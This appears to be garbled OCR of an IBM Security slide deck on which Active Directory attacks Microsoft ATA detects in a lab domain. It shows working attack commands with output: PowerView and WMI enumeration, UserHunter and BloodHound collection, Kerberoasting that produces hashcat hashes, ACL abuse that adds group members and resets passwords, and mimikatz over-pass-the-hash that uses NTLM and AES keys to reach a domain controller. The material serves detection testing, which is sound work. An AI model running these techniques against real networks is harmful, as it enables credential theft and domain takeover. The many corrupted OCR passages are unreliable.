The following directory services enumerations using SAMR protocol were attempted against DC from
CLIENT1:

= Successful enumeration of all users in contoso.com by Chandan Bharti
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Not Detected: Using LDAP/Powerview To Gather Computers/Users

PS C:\Users\JohnVanwagoner\Desktop> Get-NetComputer prod. local
VERBOSE: Get-DomainSearcher search string: LDAP://DCO3.prod.local/DC=prod,DC=1ocal
DCO3.prod.local

WinlOa.prod. local

SQLO1.prod.local

winlOc.prod. local

PS C:\Users\Johnvanwagoner\Desktop> Get-NetGroupMember
VERBOSE: Get-DomainSearcher search string: LDAP://DC03.prod.local/DC=dev,DC=Tocal

GroupDomain : dev.local

GroupName : Enterprise Admins

MemberDomain : dev.local

MemberName : MyronHayes

Membersid : $-1-5-21-1833099165-4213543110-3108917803-1547
IsGroup : False

MemberDN : CN=Hayes\, Myron,0U=US,0U=DemoUser,DC=dev,DC=local
GroupDomain : dev.local

GroupName : Enterprise Admins

MemberDomain : dev.local

MemberName : Administrator

Membersid : §-1-5-21-1833099165-4213543110-3108917803-500
IsGroup : False

MemberDN : CN=Administrator,CN=Users,DC=dev,DC=local
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Not Detected: Enumeration via WMI Local Name Space

Domain User Accounts:

Get- WmiObject - Class Win32_UserAccount - Filter "Domain='dev' AND
Disabled='False" | Select Name, Domain, Status, LocalAccount
AccountType , Lockout, PasswordRequired , PasswordChangeable

Description, SID

Domain Groups:

Get- Ciminstance - ClassName Win32_Group - Filter "Domain = 'dev' AND
Name | i ke ' %Admi n%06o

'l._'l_l_"_ LB R Pt 4

YWWsers), Fr ar'll-'l'lr'mbhn'l"l' Get-WmiObject Win32_GroupInDomain | Select PartComponent | Select-5tring

El-[F'ar"'I:Cn:nrnpn:nr'ler'l'l:=_ \WINLOBYroothcimv2 :Win32_Group. Domain="DEV" , Name="Microsoft Advanced Threat Analytics Administrators’
El-[F'ar"'I:Cn:nrnpn:nr'ler'l'l:= \WINLOBY\root\cimv2 :Win32_Group. Domain="DEV" , Name="Microsoft Advanced Threat Analytics Users"}
i{Par 'I'Lurnpnr'ler'l'l'=__ NINLOBY rooti\cimv2 :Win32_Group. Domain="DEV" ,Name="Microsoft Advanced Threat Analytics Viewers™]

rF'-Eu 1'Lurr|;:rur1er11'= WINLOBY roothcimv2 :Win32_Group. Domain="PROD",Name="M1crosoft Advanced Threat Analvtics

1r1rrr|r'|'| strators™}

i{PartComponent=" WINL1OB'\root \cimv2 :Win32_Group. Domain="PROD" , Name="Microsoft Advanced Threat Analytics Users™}
El-.rF'ar"'I:CI:Irr'|r:h:|r'|er11:="-._"-_'n'INlDEi"-._r"n:u:rl:"-._::'l'rer:'n"l' n32_Group. Domain="PROD" , Name="M1crosoft Advanced Threat Analvtics Viewers™]
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Not Det ect ed: Enumer ati on via WMI L

Domain Group User Memberships:

Get- Ciminstance - ClassName Win32_Group - Filter "Domain = 'deV'
AND Name='Enterprise Admins "] Get - CimAssociatedinstance -
Association Win32_GroupUser

Get- Ciminstance - ClassName Win32_Group - Filter "Domain = 'deV'
AND Name=Microsoft Advanced Threat Analytics Administrator"
Get - CimAssociatedinstance - Association Win32_GroupUser

PS C:\Users\FranklinAbbott> Get-CimInstance Win3Z_Group
| Get-CimAssociatedInstance Win32_Grouplser

Name Caption AccountType SID Domain

Administrator DEV'Administrator L 5-1-5-21-1833099165-42...
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Detected: Default Session Enumeration via UserHunter, NetSess

Reconnaissance using SMB Session Enumeration PN

SMB session enumeration attempts were successfully performed by Vanwagoner, John, from WIN10A against DCO03,
exposing 2 accounts.

S C:\Use
'/EREOSE :

'/ERBOSE * 9 On :I Session Enumeration A
/ERBOSE : — " -
/ERBOSE : (4] (4] 0.0

'/ERBOSE : Vanwagoner, J... WIN10A DCO3

Health physicist

2 vanwagﬂner"'o @ Success E > exposed Z\g Deos o

Health physicist accounts
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Not Det ect ed: Sessi on Enumer at i

PS C: \Users\Jothanwagoner\Desktop> Invoke-UserHunter .\hosts.txt
' : [*] Running Invoke-UserHunter with delay of 0 _ _
[*] Querying domain prod.local for users of group 'Enterprise Admins'

: Get-DomainSearcher search string: LDAP://DCO3.prod.local/DC=prod,DC=Tlocal
: [*] Total number of hosts: 9
: wWwaiting for scanning threads to finish...
: A1l threads completed!
: [*] Total number of active hosts: 3
[*] Enumerating server WinlOa.prod.local (1 of 3)

: prod.local

: administrator

: WinlOa.prod.local

: {10.1.11.177, 169.254.74.220}

As of the last BloodHound 1.4 (SharpHound) release earlier this month:

Invoke - BloodHound 1 ExcludeDc

https://blog.cptjesus.com/posts/newbloodhoundingestor
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Detection (ATA): Lateral Movement

Usually detected ( agai nst DCG6s onl y)
A WMlexec
A PSexec

Maybe detected due to fnabnor mal user behavioro ac
A WMlexec

A PSexec

A WinRM

A DCOM

A PSexec/SMBexec

A RDP

A Remote Registry

A PSRemoting/WinRM

Suspicion of identity theft based on abnormal behavior

Guering Gallagher exhibited abnormal behavior when performing activities that were not seen over the last month and are also not in accordance with the activities of other accounts in the organization. The abno
behavior is based on the following activities:

» Performed interactive login fram 11 abnormal workstations.

= Requested access to 11 abnormal resources,

s | Chaees BrT]



Not Detected: SPN Enumeration & Kerberoasting

ARegquesting/ Kerberoasting SPN

Get - NetComputer - SPN mssql *

serviceprincipalname : , MSSQLSvc/appB2.dev.local:1433,

givenname

Get- NetUser - SPN | Get - SPNTicket - OutputFormat Hashcat

$krb5tgs$MSSQLSve/app@l.prod. local : SQLEXPRESS : A9992B93DD7EGCT7C71AF7C56D83DE79%36AAF20D890AFAA
1F11BCDDAA25CFD522DEFA7C5BDEACB33B78FAAEGDB274157E37EBOE690BEB59883FCB86E2528863465E5D7B7ECA294
AAFESAVEICAVEENIAREIABBRECCAARIFE?AARGT S AIBRCEFIFTARFAGIAGNAIAIAGHRCAATOIRNINAAGIEIERAT1AASCALSNIEEIC

root@xfr-cracken-1: # ./hashcat -b -m
hashcat (v3.6.8-25-g71d4926) starting in benchmark mode. ..

OpenCL Platform #1: NVIDIA Corporation

ar—

a - - I 5 % \. "
Dev?ce #1: GeForce 19380, 2028/8114 dllocatable, W w 1 % xma:and':\‘-l ," ?
! ) o s__’, ———

Device #Z2: GeForce 1980, 202878114 allocatable, -

Device #3: GeForce 1986, 202878114 allocatable, A ‘ =

Device #4: GeForce GTX 1080, 2028/8114 MB allocatable, : A  AVAE ‘wulﬂj ,
Device #5: GeForce 1986, 202878114 allocatable, 3 i K L

Device #6: GeForce 1988, 202878114 allocatable,

Device #7: GeForce 1880, 2028/8114 allocatable, :
Device #8: GeForce 1888, 2628/8114 allocatable, p 5 g 28

*
*
*
*
*
®
®
*
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Not Detected: Silver Tickets

AWhile a Golden ticket is a forged TGT valid for gaining access to
any Kerberos service, the silver ticket is a forged TGS.

ATGS is forged, so no associated TGT, meaning the DC is never
contacted.

AAny event logs are on the targeted server.

Source: blatant copy & paste from Sean Metcalf- https://adsecurity.org/?p=2011
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Detected: Modification of Sensitive Groups

A Enterprise Read Only A Read Only Domain A Replicators

Domain Controllers Controllers A Remote Desktop Users
A Domain Admins A Administrators (for DCs)
A Domain Controllers A Power Users A Network Configuration
A Schema Admins, A Account Operators Operators
A Enterprise Admins A Server Operators A :??Sicl) drre\irr;g Forest Trust
A Group Policy Creator A Print Operators, A DNS Admins

Owners A Backup Operators,
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Not Detected: Enumerating AD Access Control Entries

Selectively enumerating Active Directory object Access Control Entries
(ACEs)/Discretionary Access Control Lists (DACLS)

Invoke - BloodHound - CollectionMethod ACL 71 ExcludeDC

l}l'k'r K -)"1::-;:}";
LR womete_—— @Y
] @ Cenereh Hsm JPROD.LOCAL
GenericAl
g WARDICE@PROD.LOCAL
Q/ME“‘“*T/ MADMMS@PROD.L{JCAL

HELP DESK@PROD.LOCAL

EDWARDABBEY @PROD.LOCAL

More info: https://wald0.com/?p=112
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Not Detected: Escalation via Selective AD ACL Abuse

Selectively targeting Active Directory object Access Control Entries
(ACEs)/Discretionary Access Control Lists (DACLS)

P
/tr y 1PN
i 1if 1@,‘{} pdminTo Q
Generichl Hpn1 PROD.LOCAL
GenericAll @
MerberOf - WEBSERVICE@PROD.LOCAL
KE/’ SQLOTADMINS@PROD.LOCAL

HELP DESK@PROD.LOCAL

EDWARDABBEY @PROD.LOCAL

Add- DomainGroupMember - Identity sgl0ladmins - Members
edwardabbey

Set - DomainUserPassword - Identity webservice - AccountPassword
$Password

More info: https://wald0.com/?p=112

63 IBM Security




Detected: Over-Pass-The-Hash (Using KRBTGT NTLM Hash)

user : administrator

domain : prod.local

program : omd.exe

impers. : no

NTLM : 4c4715b4028d7abas3130d0db3del3fe
PID 2836

TID 3848

L5A Process was already R/W

LUID O ; 85472980 (00000000:051836d4)

PP ———

. msvl1l_0 - data copy @ 0000002B58360FED
. kerberos - data copy @ 0000002B583D7108
Y aes256_hmac -= null

Y aesl1l28_hmac -= null

“_ rcd_hmac_nt oK

“_ rcd_hmac_old oK

Y rcd_md4 oK

. rcd_hmac_nt_exp 0K

. rc4_hmac_old_exp OK

Y *Password replace -= null

Unusual protocol implementation

: OK

mimikatz # sekurlsa::pth fuser:administrator /domain:prod.local /ntim:4c4715b4028d7aba53130d0db3del3

Administrator; CA\Winc

icrosoft Windows [Uersion 6.3.76801
‘c?» 2013 Microsoft Corporation. A1l »righ

s UWindowsssystem32>dir “sdcB3scs
Uolume in drive “~dcB3sc% has no label.
Uolume Serial MHumber is S5C52-HADS6

Directory of ssdcB3scs
43862017 B4:44 PM 382 C
11172816 11:18 AM <DIR> d
/12,2016 HA5:34 AM <DIR> L
/1620816 AY:23 AM <DIR> P
/12,2016 HA5:34 AM <DIR> P
/1620816 AY:23 AM <DIR> P
7122017 B?2:16 AM 14,417,228 5§

2 accounts attempted to authenticate from APPO1 against DCO03 using an unusual protocol implementation. This

may be a result of malicious tools used to execute attacks such as Pass-the-Hash and brute force.




Not Detected: Over-Pass-The-Hash (Using All Hash/Keys)

sekurlsa :: pth [/ user:administrator

mimikatz # sekurlsa:

/ domain:prod.local

[ aes256 :12d23a766f9bac2abe31b3afbd4f41a2d49b336b76f1ledbe3d8b2fa9c9848d4c
[ ntim :4c4715b4028d7aba53130d0db3del3fe

/ aes128 :00000000000000000000000000000000

pth fuser:administrator /domain:prod.local /aes256:12d23a766f9bacZabe3lb3iafthc

3d8b2fa9c9848d4c fnth 4c4715b4028d7aba53130d0db3del3fe /aes128:00000000000000000000000000000000

user : administrator
domain : prod.local
program : cmd.exe
impers. : no
AES128 : 00000000000000000000000000000000
AESZ250 : 12d23a7606f9bac2abe3lb3atbd4f41a2d49
NTLM : 4c4715b4028d7aba53130d0db3del3fe
| PID 28160
| TID 2984
| LSA Process was already R/W

| L
_om
Nk

uIp 0 ; 85673013 (00000000:051b4435)
svl_0 - data copy @ 00000028B58361D00
erberos - data copy @ 0000002B583D63ES
aes256_hmac oK

aes126_hmac oK

rcd_hmac_nt OK

rcd_hmac_old oK

rcd_md4 oK

rcd_hmac_nt_exp oK

rcd_hmac_old_exp OK
*Password replace -> null

Administrator: CAWindows\SYSTEM32\cmd.exe

icrosoft Windows [Uersion 6.2.76001]
(> 2013 Microszoft Corporation. All rights reserved.

ssMindowsssystem32>dir “sdcB3sch
Uolume in drive “~dcB3~ct has no label.
Uolume Serial Mumbher is 5C52-0D56

Directory of ““dcB3wch

A3 -06-2017 B4:-44 PM 382 Convert—WindowsImagelnfo.t
111772816 11:18 AM <DIR> drivers
A7 12,2016 @5:-34 AM <DIR> Logs
A7/16-2016 B@Y7:=23 AM <DIR> PerfLogs
49 12,2016 B5:-34 AM <DIR> Program Files
A7/16-2016 B@Y7:=23 AM <DIR> Program Files (xB6>
A7 12,2017 @A?7:-:16 AM 14,417,928 SYSTEM
A7 12,2017 B@?2:16 AM 14,417,928 SYSTEM2
A3 -86-2017 B2:55 PM 3.49? unattend.xml
A7 85,2017 12:-49 PM <DIR> Uzers
A7 26,2017 12:-47 PHM <DIR> Windouws
4 Filed(s> 28,837,641 hytes
Y Dirds> 19.688.751.184 huytes free
sMindowsssystemd2 >






